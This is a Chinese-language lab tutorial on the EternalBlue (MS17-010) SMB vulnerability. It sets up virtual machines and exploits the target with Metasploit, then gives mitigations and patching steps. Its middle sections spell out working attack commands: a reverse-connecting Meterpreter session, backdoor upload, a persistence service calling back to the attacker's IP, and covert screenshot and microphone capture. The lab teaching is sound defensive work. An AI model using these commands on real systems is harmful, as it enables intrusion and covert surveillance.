永恒之蓝漏洞实战：从搭建到防御的完整指南

1. 永恒之蓝漏洞：为什么今天你依然需要了解它？

你可能听说过“永恒之蓝”这个名字，它就像一个在网络安全世界里流传已久的“都市传说”。很多刚入门的朋友可能会想，这都是好几年前的漏洞了，现在还有必要学吗？我以自己这些年的经验告诉你，太有必要了。这个漏洞的经典之处，不仅在于它当年掀起的轩然大波，更在于它像一本“活教材”，几乎涵盖了网络攻防中所有核心概念：漏洞利用、横向移动、权限提升、应急响应和补丁管理。你今天在实战中遇到的很多攻击手法，其底层思路都能在永恒之蓝这里找到影子。

永恒之蓝，官方编号MS17-010，是微软Windows系统SMBv1协议中的一个远程代码执行漏洞。简单来说，攻击者可以通过网络向目标机器的445端口发送一个精心构造的数据包，就能让目标电脑乖乖执行任何命令，就像你在自己电脑上操作一样。这个漏洞最“要命”的地方在于它不需要你点击任何链接、打开任何文件，只要你的电脑开着网络共享（445端口开放），并且没打补丁，攻击者就能直接“破门而入”。

我见过不少企业内网，总觉得有防火墙就万事大吉，结果内部机器之间因为文件共享需求，445端口大开，一旦有一台机器中招，攻击者就能像“癌细胞”一样在内网里扩散。所以，学习永恒之蓝，绝不仅仅是学习一个历史漏洞，而是理解一种经典的“攻击链”。接下来，我会手把手带你从零开始，搭建一个安全的实验环境，亲身体验攻击过程，最后再教你如何彻底堵上这个漏洞。整个过程我们都在自己可控的虚拟机里完成，绝对安全，目的就是为了让你看得懂、学得会。

2. 实验环境搭建：打造你的专属“安全沙盒”

实战的第一步，是搭建一个与真实世界隔离的实验室。千万别在自己的主力机或者公司网络里直接搞，那无异于在客厅里练习喷火。我们的目标是搭建两个虚拟机：一个作为攻击机（Kali Linux），一个作为靶机（Windows 7）。这样，所有的“爆炸”都只发生在沙盒里。

2.1 靶机准备：安装一个“纯净”的Windows 7

靶机我们选择Windows 7 SP1 x64。选择它是因为这个版本受永恒之蓝影响最大，且系统相对轻量，在虚拟机里跑起来流畅。你可以在微软官网或可靠的镜像站找到官方ISO文件。这里有个关键点：安装完成后，第一件事就是断网，并且不要运行Windows Update！我们的目标就是让它保持“脆弱”的原始状态，以便后续演示漏洞。

安装过程就是标准的下一步、下一步。我建议你为虚拟机分配至少2GB内存和40GB硬盘空间。安装完成后，进入系统，我们需要做几个关键配置：

1. 关闭Windows防火墙：在控制面板里找到Windows防火墙，直接把它关掉。在实际攻击中，防火墙可能会拦截，但为了实验效果直观，我们先关掉它。
2. 启用网络发现和文件共享：这会让系统自动开放SMB服务所需的端口。
3. 设置静态IP：在虚拟机网络设置里，使用“仅主机（Host-Only）”或“NAT”模式，并给Win7设置一个固定IP，比如192.168.80.128。这样能确保攻击机总能找到它。

完成这些后，你可以在Win7的CMD里输入ipconfig查看IP，输入netstat -an | findstr :445确认445端口正处于监听状态。看到TCP 0.0.0.0:445 LISTENING就说明我们的“诱饵”已经布好了。

2.2 攻击机准备：强大的Kali Linux利器

攻击机我们使用Kali Linux，这是渗透测试的标准系统，集成了海量工具。同样，从官网下载ISO镜像安装即可。安装时记得选择与Win7相同的网络模式（如Host-Only），并设置一个同网段的静态IP，例如192.168.80.129。

安装好Kali后，第一件事是更新软件源并安装我们即将用到的核心工具。打开终端，执行：

sudo apt update && sudo apt upgrade -y sudo apt install metasploit-framework -y

Metasploit框架是我们今天的主角，它是一个开源的渗透测试平台，里面集成了永恒之蓝的攻击模块（Exploit）。安装完成后，你可以通过输入msfconsole来启动它，看到那个炫酷的启动界面和msf6 >提示符，就说明工具就绪了。

现在，你的实验环境应该像这样：两台虚拟机处于同一个虚拟网络中，可以互相ping通。Win7（靶机）敞开着445端口，Kali（攻击机）磨刀霍霍。这个环境本身就是一个微缩版的、典型的企业内网场景。

3. 攻击过程深度解析：亲历一次“无声的入侵”

环境准备好了，让我们真正扮演一次攻击者，看看永恒之蓝漏洞是如何在悄无声息间完成入侵的。这个过程会让你深刻理解，为什么一个未修补的漏洞如此危险。

3.1 信息搜集：发现网络中的“薄弱点”

真正的攻击都是从侦察开始的。在Kali的终端里，我们先不急着用Metasploit，而是用更基础的工具来发现目标。输入命令：

nmap -sV -p 445 192.168.80.128

这条命令的作用是扫描靶机（192.168.80.128）的445端口，并尝试识别端口上运行的服务版本。-sV参数是版本探测。如果一切正常，你会看到类似445/tcp open microsoft-ds?的结果，这告诉我们目标机器的445端口是开放的，很可能运行着SMB服务。

更精准的探测可以使用Nmap自带的漏洞检测脚本：

nmap --script smb-vuln-ms17-010 -p 445 192.168.80.128

如果脚本返回VULNERABLE，那就铁板钉钉地确认了目标存在永恒之蓝漏洞。这个过程模拟了攻击者在广袤的网络空间中，如何快速定位到可攻击目标。

3.2 利用漏洞：Metasploit实战攻击

确认漏洞存在后，我们启动攻击引擎。在终端输入msfconsole进入Metasploit界面。接下来是一系列有条不紊的命令：

1. 搜索并选择攻击模块：

   search ms17-010

   你会看到几个相关模块。我们使用那个最经典的远程代码执行模块：

   use exploit/windows/smb/ms17_010_eternalblue

2. 配置攻击参数：

   set RHOSTS 192.168.80.128 set LHOST 192.168.80.129

   RHOSTS是目标靶机的IP，LHOST是你Kali攻击机的IP。这里LHOST很重要，因为成功利用漏洞后，靶机会反向连接到我们的攻击机，建立一条命令通道。
3. 执行攻击：

   exploit

   或者输入run。这时，终端会开始滚动代码，你会看到[*] Sending stage...之类的信息。如果一切顺利，几秒钟后，提示符会突然从msf6 exploit(...)变成一个简单的meterpreter >。

这个meterpreter就是我们的战利品——一个功能强大的后门会话。它意味着我们已经完全控制了那台Windows 7靶机，而且权限很可能是最高的SYSTEM权限。你可以输入getuid命令来确认，如果返回NT AUTHORITY\SYSTEM，那就证明我们拿到了这台机器的“皇帝玉玺”。

3.3 后渗透操作：感受系统控制权

拿到meterpreter会话后，你能做的事情就太多了，这模拟了攻击者入侵后的真实操作：

• 收集信息：sysinfo查看系统详情，run post/windows/gather/enum_logged_on_users查看当前登录用户。
• 文件操作：ls浏览目录，download C:\\Users\\Administrator\\Desktop\\secret.txt下载文件，upload /root/tools/backdoor.exe C:\\Windows\\Temp\\上传文件。
• 权限维持：run persistence -X -i 5 -p 443 -r 192.168.80.129可以创建一个后门服务，即使目标重启，也会自动回连到我们的攻击机。
• 截图与录屏：screenshot可以偷偷截取当前用户的桌面，record_mic甚至可以开启麦克风录音。

做完这些，你可以输入background将当前会话放到后台，它依然存活。输入sessions -l可以查看所有活跃的会话。整个过程，靶机屏幕上可能没有任何异常提示，用户毫无察觉，但控制权已然易主。这就是永恒之蓝的可怕之处——无交互、高权限、静默入侵。

4. 防御与修复：彻底堵上MS17-010的缺口

体验完攻击的犀利，我们立刻切换到防御者视角。如何发现并修复这个漏洞，才是我们学习的最终目的。防御措施分为临时缓解和根本修复两种。

4.1 临时缓解措施：快速“止血”

如果因为某些原因（比如关键业务系统）不能立即重启打补丁，我们可以先采取临时措施，降低被攻击的风险。最直接的方法就是关闭445端口或禁用SMBv1协议。

方法一：通过防火墙封锁445端口这是最快速有效的方法。以管理员身份打开CMD命令提示符，依次执行以下命令：

netsh advfirewall set allprofiles state on netsh advfirewall firewall add rule name="Block_TCP_445" dir=in action=block protocol=TCP localport=445 netsh advfirewall firewall add rule name="Block_UDP_445" dir=in action=block protocol=UDP localport=445

第一条命令确保防火墙所有配置文件的全局状态是开启的。后两条命令分别创建入站规则，阻止TCP和UDP协议的445端口通信。执行后需要重启计算机生效。重启后，再用netstat -an | findstr :445检查，端口应该不再处于监听状态，或者显示为LISTENING但外部已无法连接。

方法二：通过注册表禁用SMBv1SMBv1是老旧且不安全的协议，永恒之蓝正是利用其漏洞。我们可以彻底禁用它。同样以管理员运行CMD：

sc.exe config lanmanworkstation depend= bowser/mrxsmb20/nsi sc.exe config mrxsmb10 start= disabled

第一条命令修改LanmanWorkstation服务的依赖关系，移除对mrxsmb10(SMBv1) 的依赖。第二条命令直接将mrxsmb10驱动服务的启动类型设置为禁用。执行后同样需要重启。重启后，可以在PowerShell中运行Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol来确认SMBv1协议状态是否为Disabled。

4.2 根本解决方案：安装官方安全补丁

临时措施只是权宜之计，最根本的解决方案是安装微软官方发布的补丁。对于Windows 7 SP1，你需要安装补丁编号KB4012212。你可以通过以下两种方式获取：

1. 通过Windows Update自动更新：这是最简单的方法。确保网络连通，打开Windows Update，检查更新，它会自动识别并推送包括KB4012212在内的一系列安全更新。安装后务必重启。
2. 手动下载独立安装包：如果自动更新失败或环境受限，可以去微软官方更新目录网站，搜索“KB4012212”，根据你的系统位数（x86或x64）下载对应的.msu安装包。下载后双击运行，按照提示安装并重启。

安装补丁后，系统核心文件得到了修复，攻击者再发送恶意数据包就会失效。为了验证修复效果，你可以重新从Kali攻击机使用Nmap脚本进行扫描，或者再次运行Metasploit的永恒之蓝模块。此时，攻击应该会失败，并提示类似[-] Exploit failed: Rex::ConnectionRefused The connection was refused by the remote host或目标不可利用的信息。

4.3 建立长期安全习惯

修复一个永恒之蓝漏洞只是开始。真正的安全防御是一个持续的过程。我建议你养成这几个习惯：

• 定期更新：开启系统的自动更新功能，至少每月手动检查一次重要更新。
• 最小化服务：遵循最小权限原则，关闭非必要的服务和端口。对于服务器，尤其要严格管理135、137、138、139、445、3389等常见高危端口。
• 网络分段：在企业网络中，将不同安全等级的区域进行隔离，防止攻击者突破一点就渗透全网。
• 安全监控：部署终端检测与响应（EDR）或入侵检测系统（IDS），对异常的网络连接（如可疑的445端口扫描、SMB协议异常流量）和行为进行告警。

回过头看，从搭建环境、发动攻击到实施防御，我们完整地走完了一个漏洞的生命周期。我最初学习时，也是在虚拟环境里反复练习，踩过不少坑，比如虚拟机网络配不通、补丁安装失败等等。但正是这些动手过程，让我对漏洞原理、攻击链和防御手段有了肌肉记忆般的理解。安全技术日新月异，但攻防的基本逻辑是相通的。希望这份指南能成为你实战路上的第一块扎实的垫脚石，当你以后再遇到新的漏洞预警时，能够清晰地知道该从哪里入手分析、测试和防护。记住，最好的防御，源于对攻击的深刻理解。